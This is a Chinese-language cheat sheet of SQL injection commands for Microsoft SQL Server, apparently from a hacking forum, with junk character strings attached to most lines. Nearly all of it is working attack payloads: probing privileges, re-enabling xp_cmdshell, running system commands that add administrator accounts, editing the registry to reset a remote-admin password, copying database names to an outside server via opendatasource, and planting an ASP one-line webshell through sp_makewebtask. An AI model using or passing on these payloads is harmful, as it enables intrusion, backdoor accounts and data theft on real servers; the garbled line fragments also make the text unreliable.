阿D常用的一些注入命令6 s# p! t5 k* P. B2 G% f, M
//看看是什么权限的
7 m" F+ o+ C* r! d- [0 Aand 1=(Select IS_MEMBER('db_owner'))
( g# S6 X# ^$ z# IAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
$ o% Q/ [) p+ u3 {
* d/ D8 [) G* n, Y; \//检测是否有读取某数据库的权限
& s( Q. A7 K# C9 aand 1= (Select HAS_DBACCESS('master'))+ o0 B5 \2 B& |
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
+ |9 b3 h! v% n5 g# j' X6 J% y) P1 D
4 D' U" T4 f. c: t. d
数字类型
( m7 a% z) d# p+ xand char(124)%2Buser%2Bchar(124)=0
( B& [! A; f$ W2 O( \$ W
' G1 {: n8 P, C4 Y: ^3 X. q3 \字符类型2 S2 r! l: \' p0 b# f
' and char(124)%2Buser%2Bchar(124)=0 and ''='
* Y/ }; M* o4 O# ` k- J% V1 q: H3 N G0 M! f# C c) W B/ N
搜索类型
/ p% S5 h' t1 t" C1 |5 s1 x( N' and char(124)%2Buser%2Bchar(124)=0 and '%'='
9 ?# v( G( ]7 `" z+ |' `$ c: Y
% ]9 H! g0 t( y: [( P. L: P+ u0 L爆用户名
8 \- {# N2 |6 Z& i+ ~and user>08 S) s/ j( C: h6 [' z- l
' and user>0 and ''='
8 Z# v0 E% h" F8 [4 I: Y! S! }6 S' j! n
检测是否为SA权限+ Z$ `$ a" |9 @8 E- Z
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 e1 m' m0 x0 jAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --3 b6 h2 X4 D2 }3 ~5 ~ W
2 p2 _/ b0 o' z W3 r% Z! a
检测是不是MSSQL数据库! z' V# a0 F% U5 k
and exists (select * from sysobjects);--
- k. ]: U a+ y
5 n' p) h- o9 I- Q4 |9 V检测是否支持多行
& E# E9 R' U0 `" M;declare @d int;--
7 x1 S7 i% T! b% {: |3 |
% h+ ?3 M! z0 t8 K+ K$ O0 s恢复 xp_cmdshell. p& |# P7 F) N1 m
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--8 ~+ o5 Z% O9 E/ c
9 K8 m# y) I9 D
; J" A' j2 c& u2 M9 l4 \select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ) |; e% M9 h, O" @1 V6 `9 q/ T
5 I! T1 H4 B: U//-----------------------+ [8 T4 b' N1 F. }0 B7 D0 E
// 执行命令
0 u. b% |5 k' `3 N//-----------------------
- `& B' ?4 E8 b首先开启沙盘模式:
9 Z n; Y/ Q) g6 J9 A' Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 `+ C* u' D' a& y- G0 }
3 o1 _% J! e) M2 g. w) X0 W然后利用jet.oledb执行系统命令0 `/ b* A+ Y8 V0 _, v$ A4 |
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')% t& Z1 f' ~$ V" O
* a! E; ?5 J5 x& m
执行命令" B3 a* w/ J' o4 u7 A3 [( H3 A' Z
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
- ~7 w4 v2 v3 i1 @* h: Y' T$ \5 a7 d3 e- t& T
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'5 V5 R4 E9 U2 m j0 f, `
2 |7 `7 w. J% r* _3 B! |
判断xp_cmdshell扩展存储过程是否存在:
% n8 T. |3 x$ ]) Whttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'). e& J5 s2 o# _. J: @3 `3 c
/ D3 ]5 H2 W7 @" g2 t7 U: B9 l写注册表) K3 r1 V0 f+ |
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 [4 @/ l( q9 w5 ?2 e
+ ]$ c4 M, Q2 g
REG_SZ
: t: i* d5 e) \* O' A
' J" I' i/ H; t, E2 f读注册表8 U0 C w% W8 S, f) e0 b q, I( a
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
* t, V; ]4 W1 w1 Y" q- C% N: q9 r) Q! E% n. l8 F, D: C& t
读取目录内容
, l3 I" Y/ e2 L7 f$ H" Cexec master..xp_dirtree 'c:\winnt\system32\',1,1
Q5 Y# G1 A6 l8 M O2 W
; [. [1 R/ v X- ?0 J9 }. |& i, t5 S# I3 t, G5 a
数据库备份1 O+ K' B v. S* V i
backup database pubs to disk = 'c:\123.bak'6 O' U N- D' F3 v8 c0 D6 M, Y
) H- Z: Y: U: O1 ]/ N, {- ^//爆出长度
1 n& o p1 I5 A4 oAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
& X, y3 p) P+ B# y1 W5 G! D2 H7 [) c! L) r% W! P$ R) b$ X
, Q6 w/ {: o# Z7 \: j* b) ~: h9 s7 y3 b- z. ~1 H4 i: \- q
更改sa口令方法:用sql综合利用工具连接后,执行命令:* I' |0 q, ^) i7 n; C
exec sp_password NULL,'新密码','sa'; D& @- |( y! b' }4 e
9 G" ?. O6 a0 |' `, A添加和删除一个SA权限的用户test:
0 l: B3 z! P( S/ w b. sexec master.dbo.sp_addlogin test,ptlove
5 l7 [0 W' ?5 O0 r1 xexec master.dbo.sp_addsrvrolemember test,sysadmin
9 _, q! o0 T# s, R- G! _- y, r
* K! `8 M A- `# q0 r7 \删除扩展存储过过程xp_cmdshell的语句:
7 e2 S% p: P, Hexec sp_dropextendedproc 'xp_cmdshell'
/ C( X8 Z! Y, N% G9 \& T$ V. ^. E: H. o# M; J
添加扩展存储过过程( M' r8 Q8 H0 n8 u* D+ j
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
! I) z9 f) b% \. k5 G5 MGRANT exec On xp_proxiedadata TO public : V8 D4 ~+ @) T+ |2 ]$ m
2 q1 w3 m: M$ d& M `1 c4 S8 _; o7 w8 c. |- Q
停掉或激活某个服务。
- |$ n n, i% y& P( T$ Z/ F) {; j) c1 L5 N$ c9 N+ ^6 J
exec master..xp_servicecontrol 'stop','schedule'
- m6 h% ^& P0 W! o) ]; q$ @* dexec master..xp_servicecontrol 'start','schedule'8 N" z' B: t+ i2 F4 x6 ?8 _; P
9 x/ l1 r3 |$ Y' c; w: e$ `
dbo.xp_subdirs7 |6 C1 V9 @* c0 x( s
9 B+ Y4 I7 _3 A4 ~只列某个目录下的子目录。
' _* Z3 z3 d. M& w) a; wxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
( H$ M# {/ }1 `8 k7 Y/ [ p, i* h1 K" V8 [7 z
dbo.xp_makecab \. @9 g: i' ~& b% m: v% E( r
% o- E' A9 H1 ]7 {; [$ ^% |2 b- Z) A将目标多个档案压缩到某个目标档案之内。7 }. s u( t4 j- w1 N
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。6 j- U$ m! O( I$ \2 w4 X8 C
# O! h) d4 m) h0 i2 f/ n. q
dbo.xp_makecab
. a. ], \! C8 U; {'c:\test.cab','mszip',1,1 J' J7 e# l% h# l" v& h( ?
'C:\Inetpub\wwwroot\SQLInject\login.asp',; l- {* y/ k0 f( Y& O* f6 e. ^
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'! O, V: S; G5 H
& W' m. S; h/ M! g5 c
xp_terminate_process, n# c5 P( |. \" u
* n, w+ b9 i1 J$ ?
停掉某个执行中的程序,但赋予的参数是 Process ID。2 v9 u) \5 W+ i+ t
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID3 Y9 i: e B. \$ [! E8 t1 @' p
- b+ a- u$ T; a& e( i) V8 m
xp_terminate_process 2484% W7 E1 W+ D! A' v: e; `; g
1 u& I5 o+ H/ V+ @0 C! ?0 n
xp_unpackcab! C; f+ [! q7 `& a% C: Y
1 `$ `. `+ x# j% d7 N; Q
解开压缩档。) C6 o6 r2 z b4 g% X
) b0 B4 v i* p
xp_unpackcab 'c:\test.cab','c:\temp',1
4 N" C1 Z' ^/ t% r+ A3 c5 Z- W- E8 I
( S V& y* @' K* a. i) w( g某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
" X% W6 t) D- _& J% } N6 P1 e/ r1 O) p0 B' }9 k( w
create database lcx;, u$ H }1 z/ E7 y9 o
Create TABLE ku(name nvarchar(256) null);
$ w ?! G' u! i8 S/ ECreate TABLE biao(id int NULL,name nvarchar(256) null);! z. Y; K5 R3 G+ Y1 M- t3 p/ d% T
" \1 b9 k4 M, g I! D//得到数据库名2 A, @& | N; k4 G
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases- q. ?; |: h* e6 j5 C% g
8 X3 k9 Y) }* ?+ b) z+ _7 `& [: ]; E
0 Y2 f7 K6 u3 s//在Master中创建表,看看权限怎样
9 F9 A4 R) _) l9 |6 P- g% u" YCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--6 L5 q6 _$ C5 b
2 p5 B3 K7 K/ O3 Z/ \7 j8 J用 sp_makewebtask直接在web目录里写入一句话马:4 ^) K, J# F& F) W2 I7 R
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--3 z0 Q9 Y2 j0 q8 P& W3 t# A1 P
9 o& _, e7 `4 x/ m! k
//更新表内容
8 ~ Q8 s3 n2 I" e/ t# IUpdate films SET kind = 'Dramatic' Where id = 123' S% K8 x& X- ~1 c) V' v" W
( {8 Y: J0 T2 A, }5 r( q" ]( f
//删除内容
# O7 S8 c4 N0 \6 ^6 L2 R+ q4 t4 G; U ^delete from table_name where Stockid = 3 |